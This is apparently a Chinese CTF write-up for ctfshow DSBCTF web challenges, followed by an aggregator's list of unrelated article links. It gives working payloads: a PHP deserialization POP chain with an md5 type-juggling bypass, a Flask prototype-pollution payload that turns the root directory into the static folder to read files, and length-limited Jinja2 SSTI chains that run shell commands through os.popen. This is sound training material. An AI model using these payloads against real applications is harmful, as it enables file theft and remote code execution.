当前位置: 首页 > news >正文

ctfshow DSBCTF web部分wp

ctfshow 单身杯 web部分wp

web

签到·好玩的PHP

源码:

<?php
error_reporting(0);
highlight_file(__FILE__);class ctfshow {private $d = '';private $s = '';private $b = '';private $ctf = '';public function __destruct() {$this->d = (string)$this->d;$this->s = (string)$this->s;$this->b = (string)$this->b;if (($this->d != $this->s) && ($this->d != $this->b) && ($this->s != $this->b)) {$dsb = $this->d.$this->s.$this->b;if ((strlen($dsb) <= 3) && (strlen($this->ctf) <= 3)) {if (($dsb !== $this->ctf) && ($this->ctf !== $dsb)) {if (md5($dsb) === md5($this->ctf)) {echo file_get_contents("/flag.txt");}}}}}
}unserialize($_GET["dsbctf"]); 

需要值不同而 md5 相同,有长度限制不能进行强碰撞,尝试数组绕过也不行,这里注意到可以让其类型不同而值相同进行绕过,构造 pop 链

<?phperror_reporting(0);highlight_file(__FILE__);class ctfshow {public $d = '';public $s = '';public $b = '';public $ctf = '';public function __destruct() {$this->d = (string)$this->d;$this->s = (string)$this->s;$this->b = (string)$this->b;if (($this->d != $this->s) && ($this->d != $this->b) && ($this->s != $this->b)) {$dsb = $this->d.$this->s.$this->b;if ((strlen($dsb) <= 3) && (strlen($this->ctf) <= 3)) {if (($dsb !== $this->ctf) && ($this->ctf !== $dsb)) {if (md5($dsb) === md5($this->ctf)) {echo file_get_contents("/flag.txt");}}}}}}$a=new ctfshow();
$a->ctf=123;
$a->d='1';
$a->s='2';
$a->b='3';
echo serialize($a);

最后得到 flag

ez_inject

开题,有注册功能和登录功能,随便注册一个账户进行登录

点击 chat,提示存在原型链污染

那么直接污染静态目录为根目录

"__init__":{"__globals__":{"app" : {"static_folder" :"./../../../../../../" }}}

访问/static/flag

最后得到 flag

ezzz_ssti

测试发现存在 ssti

直接上 payload

{{url_for.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")}}

提示,

发现存在长度限制,限制长度为 40,直接搜 ssti 长度限制,可以利用全局变量进行绕过,最后构造 payload

{%set x=config.update(a=config.update)%}
{%set x=config.a(f=lipsum.__globals__)%}
{%set x=config.a(o=config.f.os)%}
{%set x=config.a(p=config.o.popen)%}
{{config.p("ls").read()}}
#{{config.p("cat /f*").read()}}

得到 flag

参考:https://blog.csdn.net/weixin_43995419/article/details/126811287

http://www.lryc.cn/news/483763.html

相关文章:

  • 三维点云 和模型转换的问题
  • 黑马智数Day7
  • 虚拟机安装Ubuntu 24.04服务器版(命令行版)
  • .net core开发windows程序在国产麒麟操作系统中运行
  • 【LinuxC编程】06 - 守护进程,线程
  • <websocket><PLC>使用js和html实现webscoket,与PLC进行socket通讯的实例
  • nginx部署H5端程序与PC端进行区分及代理多个项目及H5内页面刷新出现404问题。
  • blenderFds代码解读
  • 亚马逊评论爬虫+数据分析
  • 新手小白学习docker第六弹------Docker常规安装(安装tomcat、mysql、redis)
  • ReactPress与WordPress:两大开源发布平台的对比与选择
  • 机器情绪及抑郁症算法
  • 01-Ajax入门与axios使用、URL知识
  • 第四十五章 Vue之Vuex模块化创建(module)
  • [2024最新] macOS 发起 Bilibili 直播(不使用 OBS)
  • Netty实现WebSocket Client三种典型方式
  • 软间隔支持向量机
  • 在C++上实现反射用法
  • 【学术会议介绍,SPIE 出版】第四届计算机图形学、人工智能与数据处理国际学术会议 (ICCAID 2024,12月13-15日)
  • 网络百问百答(一)
  • 【深圳大学】数据结构A+攻略(计软版)
  • 解读《ARM Cortex-M3 与Cortex-M4 权威指南》——第4章 架构
  • 探索 Python HTTP 的瑞士军刀:Requests 库
  • PostgreSQL 页损坏如何修复
  • Leetcode 75 Sort colors
  • 如何进行数据库连接池的参数优化?
  • 有了miniconda,再也不用担心python、nodejs、go的版本问题了
  • openresty入门教程:init_by_lua_block
  • sol机器人pump机器人如何实现盈利的?什么是Pump 扫链机器人?
  • Spring-boot 后端java配置接口返回jsp页面